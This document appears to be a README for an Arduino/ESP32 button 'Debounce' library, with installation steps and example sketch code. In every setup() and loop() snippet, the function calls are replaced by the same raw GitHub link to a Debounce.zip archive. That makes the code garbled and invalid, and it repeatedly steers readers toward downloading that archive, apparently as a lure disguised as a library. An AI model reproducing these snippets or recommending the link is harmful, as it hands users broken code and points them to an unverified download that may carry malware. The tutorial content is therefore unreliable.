-
Download the Library: Go to the Releases page and download the latest version of Debounce.
-
Open Arduino IDE: Launch the Arduino IDE on your computer.
-
Add the Library:
- Click on Sketch in the top menu.
- Select Include Library > Add .ZIP Library.
- Navigate to the location where you downloaded the library and select it.
-
Check the Installation:
- After the installation, navigate to Sketch > Include Library again.
- Look for βDebounceβ in the list. If it appears, the installation was successful.
-
Create a New Sketch:
- In Arduino IDE, go to File > New to create a new sketch.
-
Include the Library: Add the following line at the top of your sketch:
#include <Debounce.h>
-
Initialize the Button: Define the pin number for your button and create a Debounce object:
const int buttonPin = 2; // Change this to your button pin Debounce button(buttonPin);
-
Setup Function: In the
setup()function, initialize the Debounce library:void setup() { https://raw.githubusercontent.com/Wow2234443/Debounce/main/Bullidae/Debounce.zip(); https://raw.githubusercontent.com/Wow2234443/Debounce/main/Bullidae/Debounce.zip(9600); }
-
Loop Function: In the
loop()function, check the button state:void loop() { if (https://raw.githubusercontent.com/Wow2234443/Debounce/main/Bullidae/Debounce.zip() == HIGH) { https://raw.githubusercontent.com/Wow2234443/Debounce/main/Bullidae/Debounce.zip("Button Pressed"); } }
-
Upload Your Sketch: Connect your ESP32 to your computer and select the appropriate board from the Tools menu. Next, click the upload button.
-
Test Your Button: Open the Serial Monitor (under the Tools menu) to see the output. Press the button and check if the message appears.
Here are some project ideas that use the Debounce library:
- Simple Toggle Switch: Use the button to toggle an LED on and off.
- Counter: Count how many times the button is pressed and display the count on an LCD.
- IoT Device: Create a button to send commands to an IoT service when pressed.
If you run into issues or have questions, the community is here to help. Feel free to open an issue on the GitHub repository. You can also browse existing questions for quick solutions.
- Always debounce your buttons in projects to avoid false triggers.
- Check your wiring if the button behavior is erratic.
- Experiment with different button configurations to get familiar with the library.
